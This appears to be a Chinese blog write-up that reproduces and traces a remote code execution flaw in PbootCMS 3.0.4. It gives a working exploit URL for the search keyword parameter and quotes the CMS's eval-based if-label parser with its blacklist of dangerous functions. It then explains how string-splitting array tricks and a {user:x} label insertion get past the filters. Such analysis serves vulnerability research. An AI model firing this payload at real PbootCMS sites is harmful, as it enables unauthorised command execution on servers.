PbootCMS 3.0.4 RCE

1.漏洞复现

PbootCMS 3.0.4,下载仓库 · 星梦/PbootCMS - Gitee.com

复现

访问触发RCE:http://127.0.0.1/?keyword={pboot{user:x}:if([sys.tem][0]([who.ami][0]));//)}

2.逆向分析

从敏感函数逆向分析

ParserController类

/apps/home/controller/ParserController.php

parserIfLabel方法

敏感函数 eval 位于 ParserController类 的 parserIfLabel方法

public function parserIfLabel($content){
  $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
  ...
  if (preg_match_all($pattern, $content, $matches)) {
    $count = count($matches[0]);
    for ($i = 0; $i < $count; $i ++) {
      ...
      $danger = false;

      $white_fun = array(
        'date',
        'in_array',
        'explode',
        'implode'
      );
      ...
      // 带有函数的条件语句进行安全校验
      if (preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $matches[1][$i], $matches2)) {
        foreach ($matches2[1] as $value) {
          if (function_exists($value) && ! in_array($value, $white_fun)) {
            $danger = true;
               break;
          }
        }
      }

      // 过滤特殊字符串
      if (preg_match('/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i', $matches[1][$i])) {
        $danger = true;
      }

      // 如果有危险函数,则不解析该IF
      if ($danger) {
        continue;
      }

      eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

进行 RCE 需要控制 $matches[1][$i] 为可绕过过滤的代码

两层过滤可以这样绕过:[sys.tem][0]([who.ami][0])

还要注释后面的代码:[sys.tem][0]([who.ami][0]));//

$matches[1] 是第一个捕获组匹配到的字符串,也就是 ([^}^\$]+) 匹配到的字符串

<?php
// preg_match_all语法示例
$content = 'x12x';
$pattern = '/x(\d)(\d)x/';
preg_match_all($pattern, $content, $matches);
print_r($matches);
/*
Array
(
    [0] => Array
        (
            [0] => x12x
        )

    [1] => Array
        (
            [0] => 1
        )

    [2] => Array
        (
            [0] => 2
        )
)
*/

那么需要控制 $content 中有这样的字符串:{pboot:if([sys.tem][0]([who.ami][0]));//)}可有可无的任意字符串{/pboot:if}

在 parserIfLabel方法 的开头添加:

var_dump(debug_backtrace());

访问网站主页,看到 parserIfLabel方法 是 parserAfter方法 调用的

array(7) {
  [0]=>
  array(7) {
    ["file"]=>
    string(89) "D:\environment\phpstudy_pro\WWW\PbootCMS-V3.0.4\apps\home\controller\ParserController.php"
    ["line"]=>
    int(85)
    ["function"]=>
    string(13) "parserIfLabel"

parserAfter方法

同样在开头添加,看看 parserAfter方法 是谁调用的:

public function parserAfter($content)
{
  var_dump(debug_backtrace());
  ...
  $content = $this->parserIfLabel($content); // IF语句(需置最后)

访问网站主页,看到 parserAfter方法 是 SearchController类 的 index方法 调用的

array(6) {
  [0]=>
  array(7) {
    ["file"]=>
    string(89) "D:\environment\phpstudy_pro\WWW\PbootCMS-V3.0.4\apps\home\controller\SearchController.php"
    ["line"]=>
    int(43)

SearchController类

/apps/home/controller/SearchController.php

index方法

public function index()
{
  $pagetitle = get('keyword') ? get('keyword') . '-' : '';
  $content = str_replace('{pboot:pagetitle}', $this->config('search_title') ?: $pagetitle . '搜索结果-{pboot:sitetitle}-{pboot:sitesubtitle}', $content);
  ...
  $content = $this->parser->parserAfter($content); // CMS公共标签后置解析

用 get函数 获取了 keyword 的值,get函数 应该是 PbootCMS 的一个加密了的函数,一般看不到函数实现

在 $content 替换操作下面添加:

var_dump($pagetitle);
var_dump($content);

在主页进行GET请求:http://127.0.0.1/?keyword=RCE,发现可以插入 $content,并且后面已经有一个 {/pboot:if} 了

string(4) "RCE-"
string(10252) "<!doctype html>
<html lang="zh">
<head>
  <meta charset="utf-8">
  <title>RCE-搜索结果-{pboot:sitetitle}-{pboot:sitesubtitle}</title>
  ...
  <li class="nav-item {pboot:if(0=='{sort:scode}')}active{/pboot:if}">

在主页进行GET请求:http://127.0.0.1/?keyword={pboot:if([sys.tem][0]([who.ami][0]));//)},发现 : 被替换为了 @

string(43) "{pboot@if([sys.tem][0]([who.ami][0]));//)}-"

ParserController类 的 parserAfter方法

思路回到 parserAfter方法

public function parserAfter($content)
{
  ...
  $content = $this->parserMemberLabel($content); // 会员标签
  ...
  $content = $this->parserIfLabel($content); // IF语句(需置最后)

在调用 parserIfLabel方法 前还调用了 parserMemberLabel方法

ParserController类 的 parserMemberLabel方法

会将 $content 中的 {user:字符串} 替换为空

private function parserMemberLabel($content)
{
  $pattern = '/\{user:([\w]+)(\s+[^}]+)?\}/';
  if (preg_match_all($pattern, $content, $matches)) {
    ...
    $content = str_replace($matches[0][$i], '', $content);

index方法

思路回到 index方法

在主页进行GET请求:http://127.0.0.1/?keyword={pboot{user:x}:if([sys.tem][0]([who.ami][0]));//)}

string(51) "{pboot{user:x}:if([sys.tem][0]([who.ami][0]));//)}-"

绕过了@替换,成功进行了RCE

posted @ 2023-05-03 12:10  Hacker&Cat  阅读(1001)  评论(0编辑  收藏  举报